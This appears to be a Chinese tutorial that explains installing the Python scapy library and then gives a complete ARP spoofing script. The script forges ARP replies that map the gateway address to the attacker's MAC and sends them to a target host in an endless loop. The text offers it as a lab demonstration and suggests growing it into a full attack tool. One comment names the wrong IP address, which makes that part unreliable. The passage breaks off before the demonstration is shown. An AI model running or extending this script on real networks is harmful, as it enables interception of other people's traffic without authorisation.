scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。
scapy的安装在Linux非常便利,但在Windows下比较复杂。
以下假定读者使用的是Ubuntu Linux 和 Python 3 环境。
scapy的安装在Linux下非常便利,在终端下执行以下命令即可完成安装:
sudo pip3 install scapy-python3
以下是一个非常简单的arp攻击演示脚本,该脚本可以在实验环境下帮助你理解arp协议的作用和原理,当然你甚至可以扩充该脚本去编写一个完整的arp攻击工具。
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# ARP攻击演示脚本/arpDemo.py
from scapy.all import (
Ether,
ARP,
sendp
)
# 注意这里面的几个方法
# Ether用来构建以太网数据包
# ARP是构建ARP数据包的类
# sendp方法在第二层发送数据包
# Ether用来构建以太网数据包
eth = Ether()
arp = ARP(
# 代表ARP请求或者响应
op="is-at",
# 发送方Mac地址/毒化记录中的MAC
hwsrc="08:00:27:97:d1:f5",
# 发送方IP地址/毒化记录中的IP
psrc="192.168.31.1",
# 目标Mac地址/被欺骗主机MAC
hwdst="2C:56:DC:D3:AB:DB",
# 目标IP地址/被欺骗主机IP地址
pdst="192.168.31.248"
# 意思就是告诉192.168.31.248这个地址的主机,IP为192.168.31.100的主机MAC地址是08:00:27:97:d1:f5
# 如果不写目标主机的IP和MAC则默认以广播的形式发送
)
# scapy重载了"/"操作符,可以用来表示两个协议层的组合
# 这里我们输出一下数据包的结构信息
print((eth/arp).show())
# 发送封包,并且每间隔1秒重复发送
sendp(eth/arp, inter=2, loop=1)
攻击前我们在主机上看一下arp缓存